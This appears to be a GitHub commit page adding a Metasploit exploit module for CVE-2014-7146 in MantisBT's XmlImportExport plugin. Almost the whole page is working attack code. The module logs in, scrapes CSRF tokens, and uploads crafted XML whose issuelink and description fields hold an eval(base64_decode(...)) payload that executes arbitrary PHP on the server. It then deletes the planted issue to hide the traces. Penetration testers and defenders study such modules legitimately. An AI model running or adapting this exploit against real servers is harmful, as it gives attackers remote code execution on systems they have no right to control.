Skip to content

Commit 5d17637

Browse files
committed
Add CVE-2014-7146 PHP Code Execution for MantisBT
1 parent bc55293 commit 5d17637

File tree

1 file changed

+310
-0
lines changed

1 file changed

+310
-0
lines changed
Lines changed: 310 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,310 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::PhpEXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
17+
'Description' => %q{
18+
When importing data with the plugin, user input passed through the "description" field (and the "issuelink" attribute) of the uploaded XML file isn't properly sanitized before being used in a call to the preg_replace() function which uses the 'e' modifier.
19+
This can be exploited to inject and execute arbitrary PHP code when the Import/Export plugin is installed.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Egidio Romano', # discovery http://karmainsecurity.com
25+
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
26+
],
27+
'References' =>
28+
[
29+
['CVE', '2014-7146']
30+
],
31+
'Platform' => 'php',
32+
'Arch' => ARCH_PHP,
33+
'Targets' => [['Generic (PHP Payload)', {}]],
34+
'DisclosureDate' => 'Nov 8 2014',
35+
'DefaultTarget' => 0))
36+
37+
register_options(
38+
[
39+
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
40+
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
41+
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '']),
42+
], self.class)
43+
end
44+
45+
def check
46+
res = exec_php('phpinfo(); die();', true)
47+
48+
if res && res.body =~ /This program makes use of the Zend/
49+
return Exploit::CheckCode::Vulnerable
50+
else
51+
return Exploit::CheckCode::Unknown
52+
end
53+
end
54+
55+
def exec_php(php_code, is_check = false)
56+
57+
# remove comments, line breaks and spaces of php_code
58+
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
59+
60+
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
61+
while Rex::Text.encode_base64(payload_clean) =~ /=/
62+
payload_clean = "#{ payload_clean } "
63+
end
64+
payload_b64 = Rex::Text.encode_base64(payload_clean)
65+
66+
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
67+
rand_num = Rex::Text.rand_text_numeric(1, 9)
68+
69+
print_status("Checking access to MantisBT...")
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
73+
'vars_get' => {
74+
'return' => normalize_uri(target_uri.path, 'plugin.php?=XmlImportExport/import'),
75+
}
76+
})
77+
78+
unless res && res.code == 200
79+
print_error("Error accesing to MantisBT")
80+
return false
81+
end
82+
83+
phpsessid = ' PHPSESSID' << res.get_cookies.split('PHPSESSID')[1].split('; ')[0]
84+
85+
print_status('Logging in...')
86+
res = send_request_cgi({
87+
'method' => 'POST',
88+
'uri' => normalize_uri(target_uri.path, 'login.php'),
89+
'headers' => {
90+
'Cookie' => phpsessid,
91+
},
92+
'vars_post' => {
93+
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
94+
'username' => datastore['username'],
95+
'password' => datastore['password'],
96+
'secure_session' => 'on',
97+
}
98+
})
99+
100+
unless res && res.code == 302
101+
print_error("Login failed")
102+
return false
103+
end
104+
105+
mantis_string_cookie = ' MANTIS_STRING_COOKIE' << res.get_cookies.split('MANTIS_STRING_COOKIE')[1].split('; ')[0]
106+
107+
print_status("Checking XmlImportExport plugin...")
108+
res = send_request_cgi({
109+
'method' => 'GET',
110+
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
111+
'headers' => {
112+
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
113+
},
114+
'vars_get' => {
115+
'page' => 'XmlImportExport/import',
116+
}
117+
})
118+
119+
unless res && res.code == 200
120+
print_error("Error trying to access to XmlImportExport/import page...")
121+
return false
122+
end
123+
124+
# Retrieving CSRF token
125+
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
126+
csrf_token = Regexp.last_match[1]
127+
else
128+
print_error("Error trying to read CSRF token")
129+
return false
130+
end
131+
132+
# Retrieving default project id
133+
if res.body =~ /name="project_id" value="([0-9]+)"/
134+
project_id = Regexp.last_match[1]
135+
else
136+
print_error("Error trying to read project id")
137+
return false
138+
end
139+
140+
# Retrieving default category id
141+
if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
142+
category_id = Regexp.last_match[1]
143+
category_name = Regexp.last_match[2]
144+
else
145+
print_error("Error trying to read default category")
146+
return false
147+
end
148+
149+
# Retrieving default max file size
150+
if res.body =~ /name="max_file_size" value="([0-9]+)"/
151+
max_file_size = Regexp.last_match[1]
152+
else
153+
print_error("Error trying to read default max file size")
154+
return false
155+
end
156+
157+
# Retrieving default step
158+
if res.body =~ /name="step" value="([0-9]+)"/
159+
step = Regexp.last_match[1]
160+
else
161+
print_error("Error trying to read default step value")
162+
return false
163+
end
164+
165+
if is_check
166+
timeout = 20
167+
else
168+
timeout = 3
169+
end
170+
171+
uid = rand_text_numeric(29).to_s
172+
173+
data = "-----------------------------#{ uid }\r\n"
174+
data << "Content-Disposition: form-data; name=\"plugin_xml_import_action_token\"\r\n\r\n"
175+
data << "#{ csrf_token }\r\n"
176+
data << "-----------------------------#{ uid }\r\n"
177+
data << "Content-Disposition: form-data; name=\"project_id\"\r\n\r\n"
178+
data << "#{ project_id }\r\n"
179+
data << "-----------------------------#{ uid }\r\n"
180+
data << "Content-Disposition: form-data; name=\"max_file_size\"\r\n\r\n"
181+
data << "#{ max_file_size }\r\n"
182+
data << "-----------------------------#{ uid }\r\n"
183+
data << "Content-Disposition: form-data; name=\"step\"\r\n\r\n"
184+
data << "#{ step }\r\n"
185+
data << "-----------------------------#{ uid }\r\n"
186+
data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{ rand_text }.xml\r\n"
187+
data << "Content-Type: text/xml\r\n\r\n"
188+
data << "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n"
189+
data << "<mantis version=\"1.2.17\" urlbase=\"http://localhost/\" issuelink=\"${eval(base64_decode(#{ payload_b64 }))}}\" notelink=\"~\" format=\"1\">\r\n"
190+
data << " <issue>\r\n"
191+
data << " <id>#{ rand_num }</id>\r\n"
192+
data << " <project id=\"#{ project_id }\">#{ rand_text }</project>\r\n"
193+
data << " <reporter id=\"#{ rand_num }\">#{ rand_text }</reporter>\r\n"
194+
data << " <priority id=\"30\">normal</priority>\r\n"
195+
data << " <severity id=\"50\">minor</severity>\r\n"
196+
data << " <reproducibility id=\"70\">have not tried</reproducibility>\r\n"
197+
data << " <status id=\"#{ rand_num }\">new</status>\r\n"
198+
data << " <resolution id=\"#{ rand_num }\">open</resolution>\r\n"
199+
data << " <projection id=\"#{ rand_num }\">none</projection>\r\n"
200+
data << " <category id=\"#{ category_id }\">#{ category_name }</category>\r\n"
201+
data << " <date_submitted>1415492267</date_submitted>\r\n"
202+
data << " <last_updated>1415507582</last_updated>\r\n"
203+
data << " <eta id=\"#{ rand_num }\">none</eta>\r\n"
204+
data << " <view_state id=\"#{ rand_num }\">public</view_state>\r\n"
205+
data << " <summary>#{ rand_text }</summary>\r\n"
206+
data << " <due_date>1</due_date>\r\n"
207+
data << " <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>\r\n"
208+
data << " </issue>\r\n"
209+
data << "</mantis>\r\n\r\n"
210+
data << "-----------------------------#{ uid }\r\n"
211+
data << "Content-Disposition: form-data; name=\"strategy\"\r\n\r\n"
212+
data << "renumber\r\n"
213+
data << "-----------------------------#{ uid }\r\n"
214+
data << "Content-Disposition: form-data; name=\"fallback\"\r\n\r\n"
215+
data << "link\r\n"
216+
data << "-----------------------------#{ uid }\r\n"
217+
data << "Content-Disposition: form-data; name=\"keepcategory\"\r\n\r\n"
218+
data << "on\r\n"
219+
data << "-----------------------------#{ uid }\r\n"
220+
data << "Content-Disposition: form-data; name=\"defaultcategory\"\r\n\r\n"
221+
data << "#{ category_id }\r\n"
222+
data << "-----------------------------#{ uid }--\r\n\r\n"
223+
224+
print_status("Sending payload...")
225+
res = send_request_cgi({
226+
'method' => 'POST',
227+
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
228+
'headers' => {
229+
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
230+
},
231+
'ctype' => "multipart/form-data; boundary=---------------------------#{ uid }",
232+
'data' => data,
233+
}, timeout)
234+
235+
res_payload = res
236+
237+
print_status("Deleting the issue (#{ rand_text })...")
238+
res = send_request_cgi({
239+
'method' => 'GET',
240+
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
241+
'headers' => {
242+
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
243+
},
244+
})
245+
246+
unless res && res.code == 200
247+
print_error("Error trying to access to My View page")
248+
return false
249+
end
250+
251+
if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
252+
issue_id = Regexp.last_match[1]
253+
else
254+
print_error("Error trying to retrieve the issue id")
255+
return false
256+
end
257+
258+
res = send_request_cgi({
259+
'method' => 'GET',
260+
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
261+
'headers' => {
262+
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
263+
},
264+
'vars_get' => {
265+
'bug_arr[]' => issue_id,
266+
'action' => 'DELETE',
267+
},
268+
})
269+
270+
if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
271+
csrf_token = Regexp.last_match[1]
272+
else
273+
print_error("Error trying to retrieve CSRF token")
274+
return false
275+
end
276+
277+
res = send_request_cgi({
278+
'method' => 'POST',
279+
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
280+
'headers' => {
281+
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
282+
},
283+
'vars_post' => {
284+
'bug_actiongroup_DELETE_token' => csrf_token,
285+
'bug_arr[]' => issue_id,
286+
'action' => 'DELETE',
287+
},
288+
})
289+
290+
if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
291+
print_good("Issue number (#{ issue_id }) removed")
292+
else
293+
print_error("Removing issue number (#{ issue_id }) has failed")
294+
return false
295+
end
296+
297+
# if check return the response
298+
if is_check
299+
return res_payload
300+
else
301+
return true
302+
end
303+
end
304+
305+
def exploit
306+
unless exec_php(payload.encoded)
307+
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
308+
end
309+
end
310+
end

0 commit comments

Comments
 (0)